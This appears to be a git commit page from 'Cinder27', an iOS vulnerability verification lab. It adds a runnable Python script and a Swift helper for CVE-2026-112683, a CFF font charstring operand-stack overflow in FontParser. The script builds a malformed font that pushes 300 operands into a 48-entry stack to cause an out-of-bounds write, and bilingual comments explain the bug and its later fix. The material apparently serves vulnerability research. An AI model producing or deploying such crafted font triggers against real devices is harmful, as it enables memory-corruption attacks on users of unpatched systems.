Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
This commit is contained in:
commit
1ea76ab005
89 files changed
+16485
No files matched your search
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python3
|
||||
# font.cff · FontParser · charstring 解释器 · CVE-2026-112683
|
||||
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
|
||||
#
|
||||
# [zh] CFF Type2 charstring 操作数栈溢出
|
||||
# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,
|
||||
# 并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。
|
||||
#
|
||||
# [en] CFF Type2 charstring operand stack overflow
|
||||
# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the
|
||||
# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens
|
||||
# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
|
||||
#
|
||||
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
|
||||
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112683.swift
|
||||
# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder
|
||||
|
||||
import struct
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- CFF stack bomb
|
||||
def build_cff():
|
||||
"""
|
||||
Bare CFF with one charstring that pushes 300 operands before endchar.
|
||||
FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
|
||||
27.0 only bounds the *count* on pop paths, the push path walks past the array.
|
||||
"""
|
||||
def index(items):
|
||||
if not items:
|
||||
return struct.pack(">H", 0)
|
||||
off = 1
|
||||
offs = [1]
|
||||
for it in items:
|
||||
off += len(it)
|
||||
offs.append(off)
|
||||
off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
|
||||
out = struct.pack(">H", len(items)) + bytes([off_size])
|
||||
for o in offs:
|
||||
out += o.to_bytes(off_size, "big")
|
||||
out += b"".join(items)
|
||||
return out
|
||||
|
||||
header = bytes([1, 0, 4, 1])
|
||||
|
||||
name_index = index([b"CinderStackBomb"])
|
||||
|
||||
# charstring: 300 pushes of 1, then endchar
|
||||
cs = bytearray()
|
||||
for _ in range(300):
|
||||
cs.append(139 + 1) # push small int 1
|
||||
cs.append(14) # endchar
|
||||
charstrings = index([bytes(cs)])
|
||||
|
||||
gsubrs = index([])
|
||||
strings = index([])
|
||||
|
||||
# Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
|
||||
# Two-pass: build with placeholder of the same byte width, then patch.
|
||||
def top_dict(cs_off, priv_off, priv_size):
|
||||
def enc(v):
|
||||
# DICT operand: 29 => 5-byte integer (fixed width, easy patching)
|
||||
return b"\x1d" + struct.pack(">i", v)
|
||||
d = enc(cs_off) + b"\x11" # CharStrings
|
||||
d += enc(priv_size) + enc(priv_off) + b"\x12" # Private
|
||||
return d
|
||||
|
||||
placeholder = top_dict(0, 0, 0)
|
||||
top_index = index([placeholder])
|
||||
|
||||
priv = b"\x00" # trivial private dict (blueValues absent)
|
||||
priv_index_data = priv
|
||||
|
||||
# layout: header | name | top | strings | gsubrs | charstrings | private
|
||||
off = len(header) + len(name_index)
|
||||
top_off = off
|
||||
off += len(top_index)
|
||||
off += len(strings)
|
||||
off += len(gsubrs)
|
||||
cs_off = off
|
||||
off += len(charstrings)
|
||||
priv_off = off
|
||||
|
||||
top_index = index([top_dict(cs_off, priv_off, len(priv))])
|
||||
out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
|
||||
return out
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- KTX2
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
out = sys.argv[1] if len(sys.argv) > 1 else "stack_bomb.cff"
|
||||
open(out, "wb").write(build_cff())
|
||||
print("wrote", out)
|
||||
@@ -0,0 +1,43 @@
|
||||
// font.cff · FontParser · charstring 解释器 · CVE-2026-112683
|
||||
// 原语: OOB 写 · 进程内 · tier 2
|
||||
// Primitive: OOB write · in-process · tier 2
|
||||
//
|
||||
// [zh] CFF Type2 charstring 操作数栈溢出
|
||||
// Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的
|
||||
// 32 位乘法改为 64 位,同时修正了符号扩展指针。
|
||||
//
|
||||
// [en] CFF Type2 charstring operand stack overflow
|
||||
// The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop
|
||||
// path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the
|
||||
// scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
|
||||
// ── 判别 / oracle ──
|
||||
// 这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。
|
||||
//
|
||||
// 种子构建器(python,可直接运行): CVE-2026-112683/CVE-2026-112683.py
|
||||
// runnable python seed builder: CVE-2026-112683/CVE-2026-112683.py
|
||||
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
static func be32(_ v: UInt32) -> [UInt8] {
|
||||
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
||||
}
|
||||
static func le32(_ v: UInt32) -> [UInt8] {
|
||||
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
||||
}
|
||||
static func be64(_ v: UInt64) -> [UInt8] {
|
||||
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
||||
}
|
||||
static func le64(_ v: UInt64) -> [UInt8] {
|
||||
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
||||
}
|
||||
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
||||
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user